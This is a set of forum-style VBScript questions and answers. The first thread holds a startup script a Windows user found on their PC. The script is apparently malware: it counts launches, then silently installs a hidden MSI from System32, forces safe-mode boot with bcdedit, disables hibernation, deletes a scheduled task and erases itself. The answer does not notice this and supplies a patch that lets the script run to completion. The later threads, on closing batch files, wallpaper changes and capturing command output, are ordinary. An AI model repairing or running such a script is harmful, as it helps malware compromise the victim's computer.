Windows script Host problem.. error code 800a000D..Type mismatch "Clnt" - windows

Hi I'm windows 10 user with little to zero knowledge about programming. An error came up and windows fail to load... when I my pc opens a dialog box appears.. "Windows script Host"
what is wrong with this code ... the error says it is on line 10 char 2
Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(ccdat)) Then
Set setting = fso.OpenTextFile(ccdat, 1, 0)
cc = CInt(setting.ReadLine)
setting.Close
If(cc > 9) Then
oShell.Run strArgs, 0, false
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(ccdat)
objFSO.DeleteFile(strScript)
WScript.Quit()
End If
Set setting = fso.CreateTextFile(ccdat, True, False)
cc = cc+1
setting.Write(cc)
setting.Close
WScript.Quit()
Else
Set setting = fso.CreateTextFile(ccdat, True, False)
setting.Write("0")
setting.Close
WScript.Quit()
End If

Based on your example, it looks like updatesettings.dbf is just a file containing an incremental counter. In fact, the counter value may be larger than MAXINT, which could also cause that error. If true, try changing line 10 from this:
cc = CInt(setting.ReadLine)
To this:
On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0
This should effectively handle the error and force the cc variable to a pre-initialized state, which gets incremented later (line 23) to its original initialization state of zero (0) and saved to the updatesettings.dbf file. Meaning: This should accomplish the same thing as the 'Else' initialization block after line 27 when the updatesettings.dbf file doesn't exist.
Hope this helps.

Related

Issues trying to close a bat file from a vbs script

i'm trying to help my little brother with a vbs script file, i've never used vbs, and i'm having serious issues on finding out how to end a bat file that i've opened with the vbs script after 2 seconds
I've tried terminate but it doesn't work, even running another shell with taskkill and the name of process but nothing
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\\Users\me\Desktop\Samples\t.bat"
Wscript.Sleep 2000`
I would like the bat file to close itself after 2 seconds
Use the Exec command instead of Run.
https://ss64.com/vb/exec.html
"Unlike .Run method, .Exec returns an object which returns additional information about the process started."
This example uses cmd.exe /k (the /k will keep the cmd.exe window open, which will be killed after your 2 second timeout even if your bat script logic finishes before that)
Dim shll : Set shll = CreateObject("WScript.Shell")
Set Rt = shll.Exec("cmd.exe /k C:\Temp\test.bat") : wscript.sleep 2000 :
Rt.Terminate
If you want to return the output of the bat script you will need to read this WScript.Shell.Exec - read output from stdout, and use logic similar to:
Const WshRunning = 0
Const WshFinished = 1
Const WshFailed = 2
strCommand = "C:\Temp\test.bat"
Set WshShell = CreateObject("WScript.Shell")
Set oExec = WshShell.Exec(strCommand)
Do While oExec.Status = 0
WScript.Sleep 1000
If Not oExec.StdErr.AtEndOfStream Then
vErrStr = vErrStr & oExec.StdErr.ReadAll
End If
If Not oExec.StdOut.AtEndOfStream Then
vOutStr = vOutStr & oExec.StdOut.ReadAll
End If
Loop
WScript.StdOut.Write(vErrStr)
WScript.Echo(vOutStr)
It all depends on what your bat file is doing really, and the reason you need to kill it after x seconds.
Edit:
Because your batch file is a continuous loop, it may confuse ReadAll of the output stream. You might be best using something such as (note that you will not see real-time output):
Dim strCommand : strCommand = "C:\Temp\test.bat"
Dim WshShell : Set WshShell = CreateObject("WScript.Shell")
'execute command
Dim oExec : Set oExec = WshShell.Exec(strCommand)
'wait 2 seconds
WScript.Sleep 2000
'terminate command
oExec.terminate
'get output
wscript.echo oExec.StdOut.ReadAll
Set oExec = Nothing
Set WshShell = Nothing

Why does this small vbscript to change desktop background work intermittently, not all the time?

A small VBscript in order to change the desktop background automatically, practically for demo purposes:
dim wshShell
dim sUserName
Set wshShell = WScript.CreateObject("WScript.Shell")
Set oShell = CreateObject("WScript.Shell")
currWallPaper = oShell.RegRead("HKCU\Software\Microsoft\InternetExplorer\Desktop\General\Wallpap erSource")
If currWallPaper = "C:\Users\Utsav\Pictures\493889.png" Then
msgbox "OK1"
sWallPaper = "C:\Users\Utsav\Pictures\336180.png"
ElseIf currWallPaper = "C:\Users\Utsav\Pictures\336180.png" Then
sWallPaper = "C:\Users\Utsav\Pictures\1920-1080-278658.png"
Else
sWallPaper = "C:\Users\Utsav\Pictures\493889.png"
End If
' update in registry
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
' let the system know about the change
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
msgbox "done"
This script works only intermittently, i.e. on executing from command line it will change the background only once in about 4-5 attempts. Any ideas explaining the reason for this behaviour would be most welcome.

Read VBScript window for answer and execute into Batch

SETLOCAL ENABLEDELAYEDEXPANSION
curl "http://example.net/?u=%VARIABLE%" >> TXT.txt
wscript "C:\THAT.vbs"
start "" "http://url.com/%VARIABLE%"
exit
I have (above) batch file that runs CURL and writes output into a txt file.
And this (below) vbs file reads the content and shows message.
As you can see there is a start command in my batch file.
If I click Yes in vbs window I want to execute that start command.
If I click No in vbs window I want to go to exit.
Option Explicit
Const conForReading = 1
Dim objFSO, objReadFile, objFile, contents, result, shell, WshShell, somestring, txFldr2Open
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("TXT.txt")
If objFile.Size > 0 Then
Set objReadFile = objFSO.OpenTextFile("TXT.txt", 1, False)
contents = objReadFile.ReadAll
result = MsgBox ("HEADTEXT;" & vbCr & contents & "",vbYesNo+vbExclamation+vbSystemModal,"HEADQUESTION?")
Select Case result
Case vbYes
LET THE BATCH FILE KNOW ANSWER IS YES
Case vbNo
LET THE BATCH FILE KNOW ANSWER IS NO
End Select
objReadFile.close
Else
End If
Set objFSO = Nothing
Set objReadFile = Nothing
WScript.Quit()
It it possible to do that? If so how?
Use the exit code from vbscript to return the selection to batch script
batch file
SETLOCAL ENABLEDELAYEDEXPANSION
curl "http://example.net/?u=%VARIABLE%" >> TXT.txt
cscript //nologo "C:\THAT.vbs"
if not errorlevel 1 (
start "" "http://url.com/%VARIABLE%"
)
exit
that.vbs
Option Explicit
Const conForReading = 1
Dim objFSO, contents, result
result = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.GetFile("TXT.txt").Size > 0 Then
contents = objFSO.OpenTextFile("TXT.txt", 1, False).ReadAll
If MsgBox ("HEADTEXT;" & vbCr & contents & "",vbYesNo+vbExclamation+vbSystemModal,"HEADQUESTION?") = vbYes Then
result = 0
End If
End If
WScript.Quit result

VBS Run cmd.exe output to a variable; not text file

This is what I have so far. It works; outputing the folder path to temp to a text file.
What I really want, is to output the data to a variable. Every example I see online, show how to do this using something like:
set objScriptExec = wshShell.Exec (strCommand)
followed by
strresult = LCase(objScriptExec.StdOut.ReadAll. // code
I want this to run with Run, not Exec, because I want the command prompt windows to be hidden as I will performing many commands with the code below. How can I capture that output to a variable?
Set wsShell = CreateObject("WScript.Shell")
strCommand = "cmd /c echo %temp% > %temp%\test.txt"
wsShell.Run strcommand,0,True
This may be done with the Windows Script Host Exec command. StdOut, StdIn, and StdErr may all be accessed, and ERRORLEVEL is available when the command completes.
Dim strMessage, strScript, strStdErr, strStdOut
Dim oExec, oWshShell, intErrorLevel
Dim ComSpec
Set oWshShell = CreateObject("WScript.Shell")
ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")
intErrorLevel = 0
strScript = ComSpec & " /C echo %temp%"
On Error Resume Next
Set oExec = oWshShell.Exec (strScript)
If (Err.Number <> 0) Then
strMessage = "Error: " & Err.Message
intErrorLevel = 1
Else
Do While oExec.Status = 0
Do While Not oExec.StdOut.AtEndOfStream
strStdOut = strStdOut & oExec.StdOut.ReadLine & vbCrLf
Loop
Do While Not oExec.StdErr.AtEndOfStream
strStdErr = strStdErr & oExec.StdErr.ReadLine & vbCrLf
Loop
WScript.Sleep 0
Loop
intErrorLevel = oExec.ExitCode
strMessage = strStdOut & strStdErr & CStr(intErrorLevel)
End If
WScript.Echo (strMessage)
NOTE: Replacing "ReadLine" above with "Read(1)" accomplishes the same thing, but adds an ability to process characters rather than whole lines.
Of course Wscript.Shell would be a lot easier, but, since you want more fine grain control of your session, consider using Win32_Process. Usually, one uses this to control the placement of a new window, but, in your case, you want it hidden, so I set startupInfo.ShowWindow = 0 which means SW_HIDE. The following declares a VBScript function called RunCmd and which will run a command in an invisible window saving the output to a text file and then return the contents of the text file to the caller. As an example, I invoke RunCmd with the HOSTNAME command:
Function RunCmd(strCmd)
Dim wmiService
Set wmiService = GetObject("winmgmts:\\.\root\cimv2")
Dim startupInfo
Set startupInfo = wmiService.Get("Win32_ProcessStartup")
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim cwd
cwd = fso.GetAbsolutePathname(".")
startupInfo.SpawnInstance_
startupInfo.ShowWindow = 0
' startupInfo.X = 50
' startupInfo.y = 50
' startupInfo.XSize = 150
' startupInfo.YSize = 50
' startupInfo.Title = "Hello"
' startupInfo.XCountChars = 36
' startupInfo.YCountChars = 1
Dim objNewProcess
Set objNewProcess = wmiService.Get("Win32_Process")
Dim intPID
Dim errRtn
errRtn = objNewProcess.Create("cmd.exe /c """ & strCmd & """ > out.txt", cwd, startupInfo, intPID)
Dim f
Set f = fso.OpenTextFile("out.txt", 1)
RunCmd = f.ReadAll
f.Close
End Function
MsgBox RunCmd("HOSTNAME")
References:
Create method of the Win32_Process class
Win32_ProcessStartup class

Store objShell.run in variable

I am trying to store the output from a objShell.run and then display it out.
On Error Resume Next
Set objShell = CreateObject("WScript.Shell")
strPermissionsDirValue = ""
strPermissionsDirValue = objShell.run ("cacls C:\SQL2008")
WScript.Echo VBTab & strPermissionsDirValue
strPermissionsDirValue = ""
When I execute the above I get 0.
The output should be
C:\SQL2008 CREATOR OWNER:(OI)(CI)(IO)F
NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
The WScript.Shell object will only return numbers, based on exit status of the application you launched.
One way would be to dump the output to a temp file. Change this line..
strPermissionsDirValue = objShell.run ("cacls C:\SQL2008")
To this..
objShell.run "cmd /k cacls C:\SQL2008 > temp.txt"
Then, just read that temp file and in this case, process each line of the cacls output.
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objInputFile = objFSO.OpenTextFile("temp.txt", 1)
Do While objInputFile.AtEndOfStream = False
strLine = objInputFile.ReadLine
Loop

Resources